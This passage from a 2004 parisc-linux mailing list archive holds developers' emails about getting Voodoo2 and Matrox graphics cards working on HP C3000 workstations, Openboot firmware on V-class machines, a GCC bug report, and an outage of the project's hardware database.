	i1FG63rM025551; Sun, 15 Feb 2004 16:06:03 GMT
X-Authentication-Warning: dhcp23.swansea.linux.org.uk: alan set sender to
	alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <Pine.LNX.4.58.0402150326330.22822@sal.ucc.ie>
X-Mailer: Ximian Evolution 1.4.5 (1.4.5-7) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 15 Feb 2004 16:10:36 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20847

On Sul, 2004-02-15 at 03:36, M. Grabert wrote:
> Someone tried Voodoo2, but no success report so far.

Voodoo2 fb works for some cards. I'm currently debugging an accelerated
2D Voodoo2 driver that should work bi-endian with some tiny fixes

> You'll be lucky to get any (ix86) PCI graphics card working on Linux/PA-RISC.
> The best bet would be to get a Visualize-EG, or some graphics card that
> doesn't require initialization via (ix86-)BIOS (eg. Matrox Millenium).

Older S3, Matrox fit that, the XFree86 code has an x86 emulator which
will boot some more cards tho it does fail on some too where real vm86
works (eg C&T video BIOS)

Alan



From - Thu Nov 08 21:30:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Elliott Potter <epotter@eep.burdell.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 video options
Date: Sun, 15 Feb 2004 11:27:53 -0500 (EST)
Lines: 33
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.44.0402151123210.13137-100000@keymaster>
References: <1076861160.25519.1.camel@dhcp23.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623196 5613 80.91.229.3 (22 Nov 2014 02:26:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, "M. Grabert" <xam@cs.ucc.ie>
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: epotter@eep.burdell.org  Sun Feb 15 09:32:28 2004
Return-Path: <epotter@eep.burdell.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from keymaster (dsl027-162-176.atl1.dsl.speakeasy.net
	[216.27.162.176])
	by dsl2.external.hp.com (Postfix) with ESMTP id E2F554852
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Feb 2004 09:32:27 -0700 (MST)
Original-Received: from keymaster (localhost [127.0.0.1])
	by keymaster (8.12.9/8.12.9) with ESMTP id i1FGRsiD013186;
	Sun, 15 Feb 2004 11:27:54 -0500 (EST)
Original-Received: from localhost (epotter@localhost)
	by keymaster (8.12.9/8.12.9/Submit) with ESMTP id i1FGRr0S013183;
	Sun, 15 Feb 2004 11:27:53 -0500 (EST)
X-Authentication-Warning: keymaster: epotter owned process doing -bs
X-X-Sender: epotter@keymaster
In-Reply-To: <1076861160.25519.1.camel@dhcp23.swansea.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 15 Feb 2004 16:32:28 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20848

On Sun, 15 Feb 2004, Alan Cox wrote:

> On Sul, 2004-02-15 at 03:36, M. Grabert wrote:
> > [...]
> > You'll be lucky to get any (ix86) PCI graphics card working on Linux/PA-RISC.
> > The best bet would be to get a Visualize-EG, or some graphics card that
> > doesn't require initialization via (ix86-)BIOS (eg. Matrox Millenium).
>
> Older S3, Matrox fit that, the XFree86 code has an x86 emulator which
> will boot some more cards tho it does fail on some too where real vm86
> works (eg C&T video BIOS)

I've got the matroxfb driver built as a module, but so far all I can get
it to do is hard lock the machine (yay, ext3!  Otherwise I'd be in real
trouble).  I'm fiddling with driver options, but it's slow going because
of all the rebooting.  Last one I tried was

modprobe matroxfb_base noaccel nopciretry nobios noinit nomtrr
Warning:
/lib/modules/2.4.24-pa0/kernel/drivers/video/matrox/matroxfb_base.o
symbol for parameter mtrr not found

...then the hard lock.  I'm going to try it with just "nomtrr" next
time; that mtrr warning error comes up every time.



Ideally, this card will work on the machine, because I've got one (and I
don't have a Voodoo* or S3*).  We'll see...
--
Elliott



From - Thu Nov 08 21:30:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 video options
Date: Sun, 15 Feb 2004 21:25:52 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <200402152125.52428.deller@gmx.de>
References: <Pine.GSO.4.44.0402142137500.12861-100000@keymaster>
	<200402151027.59161.deller@gmx.de>
	<1076861208.25542.3.camel@dhcp23.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623196 5614 80.91.229.3 (22 Nov 2014 02:26:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:36 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: deller@gmx.de  Sun Feb 15 13:25:57 2004
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.de [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 715B948A2
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Feb 2004 13:25:56 -0700 (MST)
Original-Received: (qmail 10798 invoked by uid 65534); 15 Feb 2004 20:25:55 -0000
Original-Received: from pD9040326.dip.t-dialin.net (EHLO p100) (217.4.3.38)
	by mail.gmx.net (mp027) with SMTP; 15 Feb 2004 21:25:55 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.6.1
In-Reply-To: <1076861208.25542.3.camel@dhcp23.swansea.linux.org.uk>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 15 Feb 2004 20:25:57 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20849

On Sunday 15 February 2004 17:06, Alan Cox wrote:
> On Sul, 2004-02-15 at 09:27, Helge Deller wrote:
> > I tested/fixed Vodoo2 and it should work with kernel 2.4 and 2.6 on HPPA.
> > Maximum resolution is 800x600 @16bpp though.
> 
> 1024x768@16bpp on Voodoo2, 800x600 on Voodoo1.

Maybe I'm wrong, but I thought it would go up to 1024x768@16bpp only
if you attached two Voodoo2 cards to each other with the optional
cable ?

Helge


From - Thu Nov 08 21:30:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 video options
Date: Sun, 15 Feb 2004 20:13:00 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20040216031300.GB5015@colo.lackof.org>
References: <Pine.GSO.4.44.0402142239370.12861-100000@keymaster>
	<Pine.LNX.4.58.0402150359520.22987@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623196 5616 80.91.229.3 (22 Nov 2014 02:26:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: grundler@lackof.org  Sun Feb 15 20:13:01 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id C9CE5489B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Feb 2004 20:13:01 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 1DB8D2980D8; Sun, 15 Feb 2004 20:13:01 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 04921-04; Sun, 15 Feb 2004 20:13:00 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 7EB19298041; Sun, 15 Feb 2004 20:13:00 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0402150359520.22987@sal.ucc.ie>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 16 Feb 2004 03:13:02 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20850

On Sun, Feb 15, 2004 at 04:10:00AM +0000, M. Grabert wrote:
> HP-UX/PA-RISC doesn't use Open Firmware.

V-class uses Openboot. SPP-UX used it directly and later when HP
bought Convex, a "PDC Compat" layer was added so HPUX would boot
with fewer modifications.

If someone with access to older V-class firmware source wanted
to port that to palo, I'd think that would be an interesting project.

grant


From - Thu Nov 08 21:30:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 video options
Date: Mon, 16 Feb 2004 16:52:57 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <1076950376.27323.4.camel@dhcp23.swansea.linux.org.uk>
References: <Pine.GSO.4.44.0402142137500.12861-100000@keymaster>
	<200402151027.59161.deller@gmx.de>
	<1076861208.25542.3.camel@dhcp23.swansea.linux.org.uk>
	<200402152125.52428.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623197 5618 80.91.229.3 (22 Nov 2014 02:26:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: alan@lxorguk.ukuu.org.uk  Mon Feb 16 09:56:32 2004
Return-Path: <alan@lxorguk.ukuu.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dhcp23.swansea.linux.org.uk
	(cpc1-cwma1-5-0-cust4.swan.cable.ntl.com [80.5.120.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id EB6D94856
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 Feb 2004 09:56:31 -0700 (MST)
Original-Received: from dhcp23.swansea.linux.org.uk (localhost.localdomain [127.0.0.1])
	by dhcp23.swansea.linux.org.uk (8.12.10/8.12.10) with ESMTP id
	i1GGr20r027719; Mon, 16 Feb 2004 16:53:04 GMT
Original-Received: (from alan@localhost)
	by dhcp23.swansea.linux.org.uk (8.12.10/8.12.10/Submit) id
	i1GGr1X7027717; Mon, 16 Feb 2004 16:53:01 GMT
X-Authentication-Warning: dhcp23.swansea.linux.org.uk: alan set sender to
	alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <200402152125.52428.deller@gmx.de>
X-Mailer: Ximian Evolution 1.4.5 (1.4.5-7) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 16 Feb 2004 16:56:33 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20851

On Sul, 2004-02-15 at 20:25, Helge Deller wrote:
> Maybe I'm wrong, but I thought it would go up to 1024x768@16bpp only
> if you attached two Voodoo2 cards to each other with the optional
> cable ?

The cards have 2 or 4Mb of memory for frame buffer (texture ram is
seperate). There is a hardware 1024 pixel width limit in the engine.

For 2D you need a front buffer (1024x768x16)
For 3D you need front back and depth (1024x768x16x3)

So 1024x768 2D is fine on a single card but 3D needs SLI



From - Thu Nov 08 21:30:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc-2.3.3 & gcc-snapshot (3.5.0) pb
Date: Mon, 16 Feb 2004 18:31:41 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <402A4CA50000347C@ocpmta2.freegates.net>
References: <402E7722.2080105@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623197 5619 80.91.229.3 (22 Nov 2014 02:26:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:37 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	James Morrison <ja2morri@csclub.uwaterloo.ca>,
	Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Mon Feb 16 10:31:49 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9148E48C5
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 Feb 2004 10:31:49 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1Asmas-0001Wo-00; Mon, 16 Feb 2004 18:31:42 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Mon, 16 Feb 2004 18:31:41 +0100
In-Reply-To: <402E7722.2080105@tiscali.be>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 16 Feb 2004 17:31:50 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20852

> Ok, I will try to report as much detail as I can.

Hi all,

Just in case of some interest interest, here is the pr ref:
<http://gcc.gnu.org/bugzilla/show_bug.cgi?id=14163>

hth,
    Joel


----------------------------------------------------------------------------------------
Tiscali ADSL: 19,50 /mois, pendant 3 mois! L'Internet rapide, c'est pour
tout le monde.
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:30:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hw db pb?
Date: Mon, 16 Feb 2004 18:42:17 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <402A4CA5000034AF@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623197 5623 80.91.229.3 (22 Nov 2014 02:26:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Mon Feb 16 10:42:20 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id ADFD04856
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 Feb 2004 10:42:19 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) id 1Asml8-00041a-00
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 Feb 2004 18:42:18 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Mon, 16 Feb 2004 18:42:17 +0100
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 16 Feb 2004 17:42:20 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20853

Hi all,

I try to have a look on D380 cpu's type into:
<http://hwdb.parisc-linux.org/>

but I only get severall:
"Warning: MySQL Connection Failed: Can't connect to local MySQL server through
socket '/var/run/mysqld/mysqld.sock' (111) in ../database.php3 on line 19

Warning: MySQL Connection Failed: Can't connect to local MySQL server through
socket '/var/run/mysqld/mysqld.sock' (111) in ../database.php3 on line 27

Warning: MySQL: A link to the server could not be established in ../database.php3
on line 27"

Thanks in advance for help,
    Joel


----------------------------------------------------------------------------------------
Tiscali ADSL: 19,50 /mois, pendant 3 mois! L'Internet rapide, c'est pour
tout le monde.
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:30:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hw db pb?
Date: Mon, 16 Feb 2004 17:47:53 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <20040216174753.GM31168@parcelfarce.linux.theplanet.co.uk>
References: <402A4CA5000034AF@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623198 5625 80.91.229.3 (22 Nov 2014 02:26:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: willy@www.linux.org.uk  Mon Feb 16 10:47:55 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 301274856
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 Feb 2004 10:47:55 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1AsmqX-000741-Rf; Mon, 16 Feb 2004 17:47:53 +0000
Content-Disposition: inline
In-Reply-To: <402A4CA5000034AF@ocpmta2.freegates.net>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 16 Feb 2004 17:47:55 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20854

On Mon, Feb 16, 2004 at 06:42:17PM +0100, Joel Soete wrote:
> Hi all,
> 
> I try to have a look on D380 cpu's type into:
> <http://hwdb.parisc-linux.org/>
> 
> but I only get severall:
> "Warning: MySQL Connection Failed: Can't connect to local MySQL server through
> socket '/var/run/mysqld/mysqld.sock' (111) in ../database.php3 on line 19

mysqld had died.  I just restarted it and it now works for me.  Thanks for
the report.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:30:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Elliott Potter <epotter@eep.burdell.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hw db pb?
Date: Mon, 16 Feb 2004 12:43:53 -0500 (EST)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.44.0402161242350.13696-100000@keymaster>
References: <402A4CA5000034AF@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623198 5627 80.91.229.3 (22 Nov 2014 02:26:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: epotter@eep.burdell.org  Mon Feb 16 10:48:22 2004
Return-Path: <epotter@eep.burdell.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from keymaster (dsl027-162-176.atl1.dsl.speakeasy.net
	[216.27.162.176])
	by dsl2.external.hp.com (Postfix) with ESMTP id C788B4856
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 Feb 2004 10:48:21 -0700 (MST)
Original-Received: from keymaster (localhost [127.0.0.1])
	by keymaster (8.12.9/8.12.9) with ESMTP id i1GHhsiD013873;
	Mon, 16 Feb 2004 12:43:54 -0500 (EST)
Original-Received: from localhost (epotter@localhost)
	by keymaster (8.12.9/8.12.9/Submit) with ESMTP id i1GHhrRH013870;
	Mon, 16 Feb 2004 12:43:54 -0500 (EST)
X-Authentication-Warning: keymaster: epotter owned process doing -bs
X-X-Sender: epotter@keymaster
In-Reply-To: <402A4CA5000034AF@ocpmta2.freegates.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 16 Feb 2004 17:48:22 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20855

On Mon, 16 Feb 2004, Joel Soete wrote:

> Hi all,
>
> I try to have a look on D380 cpu's type into:
> <http://hwdb.parisc-linux.org/>
>
> but I only get several:
> "Warning: MySQL Connection Failed: Can't connect to local MySQL server through
> socket '/var/run/mysqld/mysqld.sock' (111) in ../database.php3 on line 19
> [...]


That site works for me, but another option is the OpenPA site,
http://www.openpa.net/ which has excellent information on the PA-RISC
based workstations and servers.  Specifically:
http://www.openpa.net/systems/ultralight.html

HTH,
--
Elliott



From - Thu Nov 08 21:30:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP1825 and PCI Vis-EG at 1600x1200
Date: Mon, 16 Feb 2004 21:30:31 -0500 (EST)
Lines: 29
Approved: news@gmane.org
Message-ID: <200402170230.i1H2UVff020209@hiauly1.hia.nrc.ca>
References: <20040204051928.GA16054@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623198 5628 80.91.229.3 (22 Nov 2014 02:26:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: dave@hiauly1.hia.nrc.ca  Mon Feb 16 19:30:33 2004
Return-Path: <dave@hiauly1.hia.nrc.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0D33B4843
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 Feb 2004 19:30:33 -0700 (MST)
